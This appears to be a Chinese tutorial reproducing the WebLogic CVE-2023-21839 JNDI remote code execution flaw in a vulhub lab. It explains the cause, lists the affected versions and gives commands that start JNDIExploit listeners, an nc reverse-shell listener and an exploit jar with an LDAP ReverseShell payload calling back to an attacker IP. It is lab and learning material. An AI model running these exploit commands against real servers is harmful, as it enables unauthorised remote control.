声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
在进行漏洞复现前简单描述一下什么是序列化和反序列化:
1、序列化和反序列化的定义:
(1)Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。
(2)序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。
T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通过lookup代码c.lookup(“xxxxxx”); 查看。远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象getReferent方法。由于weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现getReferent方法,存在retVal = context.lookup(this.remoteJNDIName)实现,所以能够通过RMI/LDAP远程协议进行远程命令执行。(也就是CVE-2023-21839允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。)
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
在kali的docker中搭建vulhub进行漏洞复现
clone项目:
sudo git clone https://github.com/vulhub/vulhub.git
在/weblogic/CVE-2023-21839/目录,用下面的命令下载并启动:
sudo docker-compose up -d
搞定,查看环境:
sudo docker-compose ps
在浏览器上访问http://your-ip:7001/console
进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:
1.使用工具JNDIExploit-1.2-SNAPSHOT.jar在kali上设置监听
这个工具是同时启动了http和ldap服务,使用jdk1.8.0_202启动
./java -jar /home/kali/JNDIExploit.v1.2/JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.107.129
注意:进入到jdk1.8.0_202的bin目录下执行./java
直接使用下面的地址下载java 1.8:
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
2.在kali中使用nc工具进行端口的监听,用于接收反弹的shell
3.使用CVE-2023-21839工具来进行攻击测试
工具地址: https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
使用命令如下:
./java -jar /home/kali/Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://192.168.107.129:1389/Basic/ReverseShell/192.168.107.129/8888
注意:同样是进入到jdk1.8.0_202的bin目录下执行./java